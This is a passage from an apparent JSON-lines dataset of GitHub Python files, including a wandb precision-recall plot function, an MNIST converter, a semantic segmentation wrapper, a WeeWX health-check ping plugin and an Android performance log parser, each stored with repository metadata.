try:\n with context.session.begin():\n core.create_resource(\n context, models.PodBinding,\n {'id': uuidutils.generate_uuid(),\n 'tenant_id': tenant_id,\n 'pod_id': pod['pod_id']})\n return pod, pod['pod_az_name']\n except Exception as e:\n LOG.error(_LE('Fail to create pod binding: %(exception)s'),\n {'exception': e})\n return None, None\n\n return None, None\n\n\ndef list_pods_by_tenant(context, tenant_id):\n\n pod_bindings = core.query_resource(context,\n models.PodBinding,\n [{'key': 'tenant_id',\n 'comparator': 'eq',\n 'value': tenant_id}],\n [])\n\n pods = []\n if pod_bindings:\n for pod_b in pod_bindings:\n pod = core.get_resource(context,\n models.Pod,\n pod_b['pod_id'])\n pods.append(pod)\n\n return pods\n","repo_name":"lilingxing20/newcloudo2o","sub_path":"newcloudo2o/common/az_ag.py","file_name":"az_ag.py","file_ext":"py","file_size_in_byte":5652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1454653356","text":"self = eval('self'); output = self.output # this code is cosmetic to remove the red syntax highlight error from the pycharm IDE\r\n\r\nimport logging\r\nimport os\r\ncwd = os.getcwd()\r\n\r\nlogging.info (\"working dir:\"+str(cwd))\r\n# set my variables used by loaded template\r\nvars = {'myVar': '.PY Loaded Template',\r\n 'count': 100,\r\n 'test':'helloworld'}\r\nself.templateRun('py_loaded_template.html', vars)\r\n","repo_name":"sdetoni/QuickWebDaemon","sub_path":"webapps/demo/ws_docs/demos/load_template_ty.py","file_name":"load_template_ty.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2638689227","text":"#module\n\n#1. exercise: a) create hello.py -> function hello()\n#b) import hello.py\n#c) use function hello() in this file\n\nimport hello\n\ntext = input(\"Your text: \")\ntext2 = input(\"Your new text: \")\nhello.hello(text)\nhello.newfunction(text2)\n\n#if we need only 1 function from module, we can import only this function\nfrom hello import newfunction\nnewfunction(text2)\n\n#if we want to use shorter form we can import all (*) from module\nfrom hello import *\nhello(text) #we can't use module's name (hello.hello() etc.)\nnewfunction(text2)\n\n#if we have 2 function (the same name):\nfrom hello import hello as hello_hello\ntext3 = input(\"Text3 = \")\ndef hello(text3):\n print(text3)\n\nhello(text3)\nhello_hello(text)\n\n#module builtins\nimport math\nprint(math.cos(60))\n\nimport random\nx = random.randrange(1,100)\nprint(x) #print random number","repo_name":"martafrak/Python_Course","sub_path":"9. module/9. module.py","file_name":"9. module.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26407717530","text":"# Reference:\n# https://github.com/Qiskit/qiskit-community-tutorials/blob/master/hello_world/hello_zero.ipynb\n# https://delapuente.github.io/qiskit-textbook\n\nfrom qiskit import (IBMQ, providers, Aer, execute)\nfrom qiskit.tools.visualization import plot_bloch_multivector\nfrom qiskit.visualization import plot_histogram\nimport matplotlib.pyplot as plt\n\ndef fetchBackend() :\n # IBM Q backend\n IBMQ.load_accounts()\n backend = providers.ibmq.least_busy(IBMQ.backends(simulator = False))\n print(\"Using the least busy device:\", backend.name())\n return backend\n\ndef qexec(circuit, backend = None, shots = 1000) :\n if backend is None :\n backend = defaultBackend\n # Execute the circuit on the qasm backend\n job = execute(circuit, backend, shots = shots)\n # Grab results from the job\n result = job.result()\n # Print\n print_result(circuit, result)\n # Draw\n draw_result(circuit, result)\n\ndef print_result(circuit, result) :\n print(circuit)\n print(\"Counts :\", result.get_counts(circuit))\n # print(\"State vectors:\", result.get_statevector())\n\ndef draw_result(circuit, result) :\n circuit.draw(output = \"mpl\")\n plot_histogram(result.get_counts(circuit))\n # plot_bloch_multivector(result.get_statevector())\n\n# List IBMQ backends\n# provider = IBMQ.get_provider(hub='ibm-q')\n# provider.backends()\n\n# List simulators\n# unitary_simulator\n# statevector_simulator\n# qasm_simulator\nprint(Aer.backends())\n\ndefaultBackend = Aer.get_backend(\"qasm_simulator\")\nprint(\"Default backend:\", defaultBackend.name())\n","repo_name":"neocarton/demo-quantum-hello","sub_path":"qcomp.py","file_name":"qcomp.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8396147341","text":"import wandb\nfrom wandb import util\nfrom wandb.plots.utils import test_missing, test_types\n\n\ndef pr_curve(\n y_true=None,\n y_probas=None,\n labels=None,\n classes_to_plot=None,\n interp_size=21,\n title=None,\n):\n \"\"\"Compute the tradeoff between precision and recall for different thresholds.\n\n A high area under the curve represents both high recall and high precision, where\n high precision relates to a low false positive rate, and high recall relates to a\n low false negative rate. High scores for both show that the classifier is returning\n accurate results (high precision), and returning a majority of all positive results\n (high recall). PR curve is useful when the classes are very imbalanced.\n\n Arguments:\n y_true (arr): true sparse labels y_probas (arr): Target scores, can either be\n probability estimates, confidence values, or non-thresholded measure of\n decisions. shape: (*y_true.shape, num_classes)\n labels (list): Named labels for target variable (y). Makes plots easier to read\n by replacing target values with corresponding index. For example labels =\n ['dog', 'cat', 'owl'] all 0s are replaced by 'dog', 1s by 'cat'.\n classes_to_plot (list): unique values of y_true to include in the plot\n interp_size (int): the recall values will be fixed to `interp_size` points\n uniform on [0, 1] and the precision will be interpolated for these recall\n values.\n\n Returns:\n Nothing. To see plots, go to your W&B run page then expand the 'media' tab under\n 'auto visualizations'.\n\n Example:\n ```\n wandb.log({\"pr-curve\": wandb.plot.pr_curve(y_true, y_probas, labels)})\n ```\n \"\"\"\n np = util.get_module(\n \"numpy\",\n required=\"roc requires the numpy library, install with `pip install numpy`\",\n )\n pd = util.get_module(\n \"pandas\",\n required=\"roc requires the pandas library, install with `pip install pandas`\",\n )\n sklearn_metrics = util.get_module(\n \"sklearn.metrics\",\n \"roc requires the scikit library, install with `pip install scikit-learn`\",\n )\n sklearn_utils = util.get_module(\n \"sklearn.utils\",\n \"roc requires the scikit library, install with `pip install scikit-learn`\",\n )\n\n def _step(x):\n y = np.array(x)\n for i in range(1, len(y)):\n y[i] = max(y[i], y[i - 1])\n return y\n\n y_true = np.array(y_true)\n y_probas = np.array(y_probas)\n\n if not test_missing(y_true=y_true, y_probas=y_probas):\n return\n if not test_types(y_true=y_true, y_probas=y_probas):\n return\n\n classes = np.unique(y_true)\n if classes_to_plot is None:\n classes_to_plot = classes\n\n precision = dict()\n interp_recall = np.linspace(0, 1, interp_size)[::-1]\n indices_to_plot = np.where(np.isin(classes, classes_to_plot))[0]\n for i in indices_to_plot:\n if labels is not None and (\n isinstance(classes[i], int) or isinstance(classes[0], np.integer)\n ):\n class_label = labels[classes[i]]\n else:\n class_label = classes[i]\n\n cur_precision, cur_recall, _ = sklearn_metrics.precision_recall_curve(\n y_true, y_probas[:, i], pos_label=classes[i]\n )\n # smooth the precision (monotonically increasing)\n cur_precision = _step(cur_precision)\n\n # reverse order so that recall in ascending\n cur_precision = cur_precision[::-1]\n cur_recall = cur_recall[::-1]\n indices = np.searchsorted(cur_recall, interp_recall, side=\"left\")\n precision[class_label] = cur_precision[indices]\n\n df = pd.DataFrame(\n {\n \"class\": np.hstack([[k] * len(v) for k, v in precision.items()]),\n \"precision\": np.hstack(list(precision.values())),\n \"recall\": np.tile(interp_recall, len(precision)),\n }\n )\n df = df.round(3)\n\n if len(df) > wandb.Table.MAX_ROWS:\n wandb.termwarn(\n \"wandb uses only %d data points to create the plots.\" % wandb.Table.MAX_ROWS\n )\n # different sampling could be applied, possibly to ensure endpoints are kept\n df = sklearn_utils.resample(\n df,\n replace=False,\n n_samples=wandb.Table.MAX_ROWS,\n random_state=42,\n stratify=df[\"class\"],\n ).sort_values([\"precision\", \"recall\", \"class\"])\n\n table = wandb.Table(dataframe=df)\n title = title or \"Precision v. Recall\"\n return wandb.plot_table(\n \"wandb/area-under-curve/v0\",\n table,\n {\"x\": \"recall\", \"y\": \"precision\", \"class\": \"class\"},\n {\"title\": title},\n )\n","repo_name":"wandb/wandb","sub_path":"wandb/plot/pr_curve.py","file_name":"pr_curve.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","stars":7479,"dataset":"github-code","pt":"37"} +{"seq_id":"23597046815","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pymongo\r\n\r\nclass MongoDBOutput(object): \r\n\r\n def __init__(self, db_name, collection_name):\r\n self.client = pymongo.MongoClient(\"localhost\", 27017)\r\n self.db = self.client[db_name]\r\n self.collection = self.client.db[collection_name]\r\n def insert_to_mongo(self, data):\r\n if data is None:\r\n return\r\n self.collection.insert(data) \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"BensonBair/Taifex-Web-Scraping-to-MongoDB","sub_path":"crawler_oop/MongoDBOutput.py","file_name":"MongoDBOutput.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42034998150","text":"Math = []\nDBMS = []\nDSA = []\ntotal = []\npercentage = []\navg = []\n\nfor i in range(3):\n print(\"\\t\\t\\t For Student:\", i+1)\n Math.append(int(input(\"Enter Your Maths Marks: \")))\n DBMS.append(int(input(\"Enter Your DBMS Marks: \")))\n DSA.append(int(input(\"Enter Your DSA Marks: \")))\n total_marks = Math[i] + DBMS[i] + DSA[i]\n total.append(total_marks)\n avg_marks = total_marks / 3\n avg.append(avg_marks)\n percent = (total_marks / 300) * 100\n percentage.append(percent)\n\nfor j in range(3):\n print(f\"Student:{j+1} Maths Marks:\", Math[j], \"DBMS:\", DBMS[j], \"DSA:\", DSA[j], \"Total Marks:\", total[j],\n \"Average Marks:\", avg[j], \"Percentage:\", percentage[j])\n","repo_name":"M-Rohail/Python_Concepts","sub_path":"Lecture 1 task.py","file_name":"Lecture 1 task.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29037238258","text":"from student import Student\nfrom student import Department\nfrom student import Course\n\nstudent_1 = Student(\"John Rambo\", 1)\n\ndepartment_1 = Department(\"IT\", 2)\ndepartment_2 = Department(\"Marketing\", 3)\ndepartment_3 = Department(\"Sales\", 4)\n\ncourse_1 = Course(\"DevOps\", 3, department_1)\ncourse_2 = Course(\"Python\", 4, department_1)\ncourse_3 = Course(\"SEO\", 5, department_2)\ncourse_4 = Course(\"CRM - SalesForce\", 6, department_3)\n\n","repo_name":"meg991/OOP","sub_path":"Structured/main_firstpat.py","file_name":"main_firstpat.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24389474998","text":"# -*- coding: utf-8 -*-\nimport os\nimport struct\n\nimport cv2\nimport numpy as np\n\n\nclass DataUtils(object):\n\n def __init__(self, filename=None, outpath=None):\n self._filename = filename\n self._outpath = outpath\n\n self._tag = '>' # 大端格式\n self._twoBytes = 'II'\n self._fourBytes = 'IIII'\n self._pictureBytes = '784B'\n self._labelByte = '1B'\n self._twoBytes2 = self._tag + self._twoBytes\n self._fourBytes2 = self._tag + self._fourBytes\n self._pictureBytes2 = self._tag + self._pictureBytes\n self._labelByte2 = self._tag + self._labelByte\n\n self._imgNums = 0\n self._LabelNums = 0\n\n def getImage(self):\n \"\"\"\n 将MNIST的二进制文件转换成像素特征数据\n \"\"\"\n binfile = open(self._filename, 'rb') #以二进制方式打开文件\n buf = binfile.read()\n binfile.close()\n index = 0\n numMagic, self._imgNums, numRows, numCols = struct.unpack_from(self._fourBytes2, buf, index)\n index += struct.calcsize(self._fourBytes)\n images = []\n print('image nums: %d' % self._imgNums)\n for i in range(self._imgNums):\n imgVal = struct.unpack_from(self._pictureBytes2, buf, index)\n index += struct.calcsize(self._pictureBytes2)\n imgVal = list(imgVal)\n images.append(imgVal)\n return np.array(images), self._imgNums\n\n def getLabel(self):\n \"\"\"\n 将MNIST中label二进制文件转换成对应的label数字特征\n \"\"\"\n binFile = open(self._filename, 'rb')\n buf = binFile.read()\n binFile.close()\n index = 0\n magic, self._LabelNums = struct.unpack_from(self._twoBytes2, buf, index)\n index += struct.calcsize(self._twoBytes2)\n labels = []\n for x in range(self._LabelNums):\n im = struct.unpack_from(self._labelByte2, buf, index)\n index += struct.calcsize(self._labelByte2)\n labels.append(im[0])\n return np.array(labels)\n\n def outImg(self, arrX, arrY, imgNums):\n \"\"\"\n 根据生成的特征和数字标号,输出图像\n \"\"\"\n output_txt = self._outpath + '/img.txt'\n output_file = open(output_txt, 'a+')\n\n m, n = np.shape(arrX)\n # 每张图是28*28=784Byte\n for i in range(imgNums):\n img = np.array(arrX[i])\n img = img.reshape(28, 28)\n # print(img)\n outfile = str(i) + \"_\" + str(arrY[i]) + \".bmp\"\n # print('saving file: %s' % outfile)\n\n txt_line = outfile + \" \" + str(arrY[i]) + '\\n'\n output_file.write(txt_line)\n cv2.imwrite(self._outpath + '/' + outfile, img)\n output_file.close()\n\n\nif __name__ == '__main__':\n # mnist 原始文件\n trainfile_X = './mnist/raw/train-images.idx3-ubyte'\n trainfile_y = './mnist/raw/train-labels.idx1-ubyte'\n testfile_X = './mnist/raw/t10k-images.idx3-ubyte'\n testfile_y = './mnist/raw/t10k-labels.idx1-ubyte'\n\n # 加载mnist数据集\n train_X, train_img_nums = DataUtils(filename=trainfile_X).getImage()\n train_y = DataUtils(filename=trainfile_y).getLabel()\n test_X, test_img_nums = DataUtils(testfile_X).getImage()\n test_y = DataUtils(testfile_y).getLabel()\n\n # 以下内容是将图像保存到本地文件中\n path_trainset = './mnist/train'\n path_testset = './mnist/test'\n if not os.path.exists(path_trainset):\n os.mkdir(path_trainset)\n if not os.path.exists(path_testset):\n os.mkdir(path_testset)\n DataUtils(outpath=path_trainset).outImg(train_X, train_y, int(train_img_nums / 10)) # /10是只转换十分之一,用于测试\n DataUtils(outpath=path_testset).outImg(test_X, test_y, int(test_img_nums / 10))\n","repo_name":"mmdjiji/pytorch-learning","sub_path":"codes/mnist2bmp.py","file_name":"mnist2bmp.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39466430124","text":"\"\"\"\r\nhttps://debuggercafe.com/instance-segmentation-with-pytorch-and-mask-r-cnn/\r\nhttps://pytorch.org/vision/stable/models.html#object-detection-instance-segmentation-and-person-keypoint-detection\r\n\"\"\"\r\n\r\nimport torch\r\nfrom PIL import Image\r\nfrom torchvision import models, transforms\r\nimport numpy as np\r\nimport cv2\r\n\r\n\r\nclass SemanticSegmentaion(object):\r\n def __init__(self):\r\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n self.img_transforms = transforms.Compose([\r\n transforms.ToTensor(),\r\n ])\r\n self.model = models.segmentation.deeplabv3_resnet50(pretrained=True)\r\n self.model.to(self.device)\r\n self.model.eval()\r\n self.coco_classes_list = ['__background__', 'aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus',\r\n 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike',\r\n 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor']\r\n palette = torch.tensor([2 ** 25 - 1, 2 ** 15 - 1, 2 ** 21 - 1])\r\n colors = torch.as_tensor([i for i in range(21)])[:, None] * palette\r\n self.colors = (colors % 255).numpy().astype(\"uint8\")\r\n\r\n def predict_numpy(self, image):\r\n return self._predict_numpy(image)\r\n\r\n def _predict_numpy(self, image):\r\n image = Image.fromarray(image)\r\n image_tensor = self.img_transforms(image)\r\n image_tensor = image_tensor.unsqueeze(0)\r\n image_tensor = image_tensor.to(self.device)\r\n with torch.no_grad():\r\n output = self.model(image_tensor)\r\n output = torch.argmax(output['out'].squeeze(0), dim=0).cpu().numpy().astype(np.uint8)\r\n output = cv2.cvtColor(output, cv2.COLOR_GRAY2RGB)\r\n for idx, coco_class in enumerate(self.coco_classes_list):\r\n if idx == 0:\r\n continue\r\n output = np.where(output==(idx, idx, idx), self.colors[idx], output).astype(np.uint8)\r\n return output\r\n\r\n\r\nif __name__ == \"__main__\":\r\n image_path = 'test.jpg'\r\n kjn = SemanticSegmentaion()\r\n image = cv2.imread(image_path)\r\n output = kjn.predict_numpy(image)\r\n output = cv2.addWeighted(image,0.5,output,0.5,0)\r\n cv2.imshow(\"dupa.jpg\", output)\r\n cv2.waitKey(0)\r\n","repo_name":"kornellewy/youtube-collection","sub_path":"czym_jest_segmentacja_oraz_jak_jej_używać/semantic_seg.py","file_name":"semantic_seg.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"11198430537","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n-------------------------------------------------\r\n File Name: predict_test\r\n Description :\r\n Author : DrZ\r\n date: 2019/1/3\r\n-------------------------------------------------\r\n Change Activity:\r\n 2019/1/3:\r\n-------------------------------------------------\r\n\"\"\"\r\nimport tensorflow as tf\r\nimport tensorflow.contrib.slim.nets as nets\r\nfrom PIL import Image\r\nimport os\r\nimport numpy as np\r\n\r\n\r\n# 向量转成标签名字\r\ndef vec2name(vec):\r\n name = []\r\n for i in vec:\r\n a = chr(i + 97)\r\n name.append(a)\r\n return \"\".join(name)\r\n\r\n\r\nmodel_dir = r'F:\\resnet_for_captcha\\3train\\model\\train.model-140000'\r\nx = tf.placeholder(tf.float32, [None, 224, 224, 3])\r\n\r\npred, end_points = nets.resnet_v2.resnet_v2_50(x, num_classes=6 * 26, is_training=True)\r\npredict = tf.reshape(pred, [-1, 6, 26])\r\nmax_idx_p = tf.argmax(predict, 2)\r\nsaver = tf.train.Saver()\r\nwith tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer())\r\n saver.restore(sess, model_dir)\r\n test_dir = r'F:\\resnet_for_captcha\\test'\r\n for pic in os.listdir(test_dir):\r\n pic_path = os.path.join(test_dir, pic)\r\n img = Image.open(pic_path)\r\n arr = np.array(img) * 255\r\n im = Image.fromarray(arr)\r\n im = im.resize((224, 224))\r\n arr = np.array(im)\r\n xx = np.zeros([224, 224, 3])\r\n for ii in range(224):\r\n for jj in range(224):\r\n xx[ii, jj, :] = arr[ii, jj]\r\n img1 = Image.fromarray(xx.astype('uint8'))\r\n img2 = tf.reshape(img1, [1, 224, 224, 3])\r\n img3 = tf.cast(img2, tf.float32) / 255.0\r\n\r\n name = os.path.splitext(pic)[0]\r\n\r\n b_image = sess.run(img3)\r\n t_label = sess.run(max_idx_p, feed_dict={x: b_image})\r\n vec = t_label[0].tolist()\r\n predict_text = vec2name(vec)\r\n print('真实值:{} 预测值:{}'.format(name, predict_text))","repo_name":"finthon/ResNet-for-captcha","sub_path":"4predict/predict_test.py","file_name":"predict_test.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"74684238826","text":"#ASHITA GOYAL (11) SEC - A1\r\n\r\ndef insertionSort(arr): \r\n \r\n for i in range(1, len(arr)): \r\n \r\n key = arr[i] \r\n \r\n j = i-1\r\n while j >=0 and key < arr[j] : \r\n arr[j+1] = arr[j] \r\n j -= 1\r\n arr[j+1] = key\r\n\r\nl = list(map(int, input(\"ENTER THE LIST TO BE SORTED: \").split()))\r\ninsertionSort(l)\r\nprint(\"SORTED LIST: \", l)\r\n\r\n#Time - Complexity : O(n^2)\r\n","repo_name":"ashita1910/DAA_Assignments","sub_path":"InsertionSort.py","file_name":"InsertionSort.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72204286827","text":"import socket\nimport threading\n\ntry:\n # Python 3\n from urllib.request import urlopen\nexcept ImportError:\n # Python 2\n from urllib2 import urlopen\n\nimport weewx\nfrom weewx.engine import StdService\nfrom weewx.reportengine import ReportGenerator\n\nfrom weeutil.weeutil import to_bool, to_int\n\nVERSION = \"0.1\"\n\ntry:\n # Test for new-style weewx logging by trying to import weeutil.logger\n import weeutil.logger\n import logging\n log = logging.getLogger(__name__) # confirm to standards pylint: disable=invalid-name\n def setup_logging(logging_level, config_dict):\n \"\"\" Setup logging for running in standalone mode.\"\"\"\n if logging_level:\n weewx.debug = logging_level\n\n weeutil.logger.setup('wee_HealthChecks', config_dict)\n\n def logdbg(msg):\n \"\"\" Log debug level. \"\"\"\n log.debug(msg)\n\n def loginf(msg):\n \"\"\" Log informational level. \"\"\"\n log.info(msg)\n\n def logerr(msg):\n \"\"\" Log error level. \"\"\"\n log.error(msg)\n\nexcept ImportError:\n # Old-style weewx logging\n import syslog\n\n def logmsg(level, msg):\n \"\"\" Log the message at the designated level. \"\"\"\n syslog.syslog(level, 'wee_HealthChecks: %s:' % msg)\n\n def logdbg(msg):\n \"\"\" Log debug level. \"\"\"\n logmsg(syslog.LOG_DEBUG, msg)\n\n def loginf(msg):\n \"\"\" Log informational level. \"\"\"\n logmsg(syslog.LOG_INFO, msg)\n\n def logerr(msg):\n \"\"\" Log error level. \"\"\"\n logmsg(syslog.LOG_ERR, msg)\n\ndef send_ping(host, uuid, timeout, ping_type=None):\n \"\"\"Send the HealthChecks 'ping'.\"\"\"\n if ping_type:\n url = \"https://%s/%s/%s\" %(host, uuid, ping_type)\n else:\n url = \"https://%s/%s\" %(host, uuid)\n\n try:\n urlopen(url, timeout=timeout)\n except socket.error as exception:\n logerr(\"Ping failed: %s\" % exception)\n\nclass HealthChecksService(StdService):\n \"\"\" A service to ping a healthchecks server.. \"\"\"\n def __init__(self, engine, config_dict):\n super(HealthChecksService, self).__init__(engine, config_dict)\n\n # service_dict = config_dict.get('HealthChecks', {})\n skin_dict = self.config_dict.get('StdReport', {}).get('HealthChecks', {})\n\n self.enable = to_bool(skin_dict.get('enable', True))\n if not self.enable:\n loginf(\"Not enabled, exiting.\")\n return\n\n self.host = skin_dict.get('host', 'hc-ping.com')\n self.timeout = to_int(skin_dict.get('timeout', 10))\n self.uuid = skin_dict.get('uuid')\n if not self.uuid:\n raise ValueError(\"uuid option is required.\")\n\n send_ping(self.host, self.uuid, self.timeout, \"start\")\n\n # possible option to run as a service only\n # self.bind(weewx.NEW_ARCHIVE_RECORD, self.new_archive_record)\n # self._thread = HealthChecksServiceThread(self.host, self.uuid, self.timeout)\n # self._thread.start()\n\n def new_archive_record(self, event):\n \"\"\"The new archive record event.\"\"\"\n self._thread.threading_event.set()\n\n def shutDown(self):\n \"\"\"Run when an engine shutdown is requested.\"\"\"\n loginf(\"SHUTDOWN - initiated\")\n\n send_ping(self.host, self.uuid, self.timeout, \"fail\")\n loginf(\"fail ping sent\")\n\n if self._thread:\n loginf(\"SHUTDOWN - thread initiated\")\n self._thread.running = False\n self._thread.threading_event.set()\n self._thread.join(20.0)\n if self._thread.is_alive():\n logerr(\"Unable to shut down %s thread\" %self._thread.name)\n\n self._thread = None\n\nclass HealthChecksServiceThread(threading.Thread):\n \"\"\"A service to send 'pings' to a HealthChecks server. \"\"\"\n def __init__(self, host, uuid, timeout):\n threading.Thread.__init__(self)\n\n self.running = False\n\n self.host = host\n self.uuid = uuid\n self.timeout = timeout\n\n self.threading_event = threading.Event()\n\n def run(self):\n self.running = True\n\n while self.running:\n self.threading_event.wait()\n send_ping(self.host, self.uuid, self.timeout)\n self.threading_event.clear()\n\n loginf(\"exited loop\")\n\nclass HealthChecksGenerator(ReportGenerator):\n \"\"\"Class for managing the healthchecks generator.\"\"\"\n def __init__(self, config_dict, skin_dict, *args, **kwargs):\n \"\"\"Initialize an instance of HealthChecksGenerator\"\"\"\n weewx.reportengine.ReportGenerator.__init__(self, config_dict, skin_dict, *args, **kwargs)\n\n self.host = skin_dict.get('host', 'hc-ping.com')\n self.timeout = to_int(skin_dict.get('timeout', 10))\n self.uuid = skin_dict.get('uuid')\n if not self.uuid:\n raise ValueError(\"uuid option is required.\")\n\n def run(self):\n send_ping(self.host, self.uuid, self.timeout)\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"bellrichm/WeeWX-Extras","sub_path":"bin/user/healthchecks.py","file_name":"healthchecks.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16729046322","text":"import gym\nimport gymtorch\nsim=1\nnum_envs=50\nactors_per_env=200\n\n# lignes pour regarder toutes les pos,ori,vit,vit_ang, à faire un fois, avant que la sim commence\n_root_tensor = gym.acquire_actor_root_state_tensor(sim)\nroot_tensor = gymtorch.wrap_tensor(_root_tensor) # wrap it to acces the data\n# mettre une vue : vecteur d'environements\nroot_states_vec = root_tensor.view(num_envs,actors_per_env,13)\nroot_positions = root_states_vec[..., 0:3]\nroot_orientations = root_states_vec[..., 3:7]\nroot_linvels = root_states_vec[..., 7:10]\nroot_angvels = root_states_vec[..., 10:13]\n\n# pour update ( dans la boucle de simulation ) ca : ( à mettre après gym.simulate(sim) )\ngym.refresh_actor_root_state(sim)\n\n# pour modifier mettre ca aprees avoir changé le tenseur _root_tensor du début:\ngym.set_actor_root_state_tensor(sim,_root_tensor)\n\n# APPLYING CONTROLS\n\n","repo_name":"seanmoyal/testIsaac","sub_path":"Isaac/decompo_tensors.py","file_name":"decompo_tensors.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33960406225","text":"import numpy\nimport pickle\nfrom lib.utils import *\n\n\n\nclass Parser:\n def __init__(self, log_directory, device, build):\n self.log_directory = log_directory\n self.device = device\n self.build = build\n\n def collect_report(self):\n report_filename = self.log_directory + \"/\" + Config().reportFilename\n obj = [self.device, self.build, self.mem_log_parser(), self.cpu_log_parser(), self.bty_usage_log_parser(),\n self.bty_temp_log_parser(), self.data_log_parser(), self.events_parser()]\n output = open(report_filename, 'wb')\n pickle.dump(obj, output, 2)\n\n def mem_log_parser(self):\n mem_filename = self.log_directory + \"/\" + Config().memFilename\n infile = open(mem_filename).readlines()\n num_lines = len(infile)\n mem_list = []\n time_list = []\n i = 0\n while i < num_lines:\n i += 1\n mem = 0\n mem_time = 0\n while i < num_lines and '---' not in infile[i]:\n if 'MemFree:' in infile[i]:\n mem = int(infile[i].split()[-2])/1024\n if 'Time pass:' in infile[i]:\n mem_time = int(infile[i].split()[-2])\n i += 1\n mem_list.append(mem)\n time_list.append(mem_time)\n report = [mem_list, time_list, max(mem_list), min(mem_list), numpy.average(mem_list)]\n\n return report\n\n def cpu_log_parser(self):\n cpu_filename = self.log_directory + \"/\" + Config().cpuFilename\n infile = open(cpu_filename).readlines()\n num_lines = len(infile)\n cpu_list = []\n time_list = []\n i = 0\n while i < num_lines:\n i += 1\n cpu_value = 0\n cpu_time = 0\n while i < num_lines and '---' not in infile[i]:\n if Config().package in infile[i]:\n if float(infile[i].split()[2].strip('%')) <100:\n cpu_value = float(infile[i].split()[2].strip('%'))\n elif i==0:\n cpu_value = 0\n else:\n cpu_value = cpu_list[len(cpu_list)-1]\n if 'Time pass:' in infile[i]:\n cpu_time = int(infile[i].split()[-2])\n i += 1\n time_list.append(cpu_time)\n cpu_list.append(cpu_value)\n max_cpu = max(cpu_list)\n min_cpu = min(cpu_list)\n median_cpu = numpy.average(cpu_list)\n\n report = [cpu_list, time_list, max_cpu, min_cpu, median_cpu]\n return report\n\n def bty_usage_log_parser(self):\n bty_log_filename = self.log_directory + \"/\" + Config().btyFilename\n bty_level_list = []\n time_list = []\n infile = open(bty_log_filename).readlines()\n num_lines = len(infile)\n i = 0\n while i < num_lines:\n bty_level = -1\n i += 1\n btr_time = 0\n while i < num_lines and '---' not in infile[i]:\n if 'level:' in infile[i]:\n bty_level = int(infile[i].strip().split()[-1])\n if 'Time pass:' in infile[i]:\n btr_time = int(infile[i].split()[-2])\n i += 1\n bty_level_list.append(bty_level)\n time_list.append(btr_time)\n max_bat = max(bty_level_list)\n min_bat = min(bty_level_list)\n diff_bat = (max_bat - min_bat)\n report = [bty_level_list, time_list, max_bat, min_bat, diff_bat]\n return report\n\n def bty_temp_log_parser(self):\n bty_log_filename = self.log_directory + \"/\" + Config().btyFilename\n bty_tmpt_list = []\n time_list = []\n infile = open(bty_log_filename).readlines()\n num_lines = len(infile)\n i = 0\n while i < num_lines:\n bty_temp = -1\n i += 1\n btr_time = 0\n while i < num_lines and '---' not in infile[i]:\n if 'temperature:' in infile[i]:\n bty_temp = int(infile[i].strip().split()[-1])\n if 'Time pass:' in infile[i]:\n btr_time = int(infile[i].split()[-2])\n i += 1\n bty_tmpt_list.append(bty_temp)\n time_list.append(btr_time)\n max_temp = max(bty_tmpt_list)\n min_temp = min(bty_tmpt_list)\n diff_temp = (max_temp - min_temp)\n\n report = [bty_tmpt_list, time_list, max_temp, min_temp, diff_temp]\n return report\n\n def data_log_parser(self):\n data_log_filename = self.log_directory + \"/\" + Config().dtuFilename\n background_rx = []\n background_tx = []\n foreground_rx = []\n foreground_tx = []\n time_list = []\n infile = open(data_log_filename).readlines()\n num_lines = len(infile)\n i = 0\n while i < num_lines:\n while i < num_lines and '---' not in infile[i]:\n i += 1\n if i >= num_lines:\n break\n i += 1\n background_rx_mbbytes = - 0.1\n background_tx_mbbytes = - 0.1\n foreground_rx_mbbytes = - 1\n foreground_tx_mbbytes = - 1\n\n while i < num_lines and '---' not in infile[i]:\n if 'background_rx_bytes' in infile[i]:\n background_rx_mbbytes = 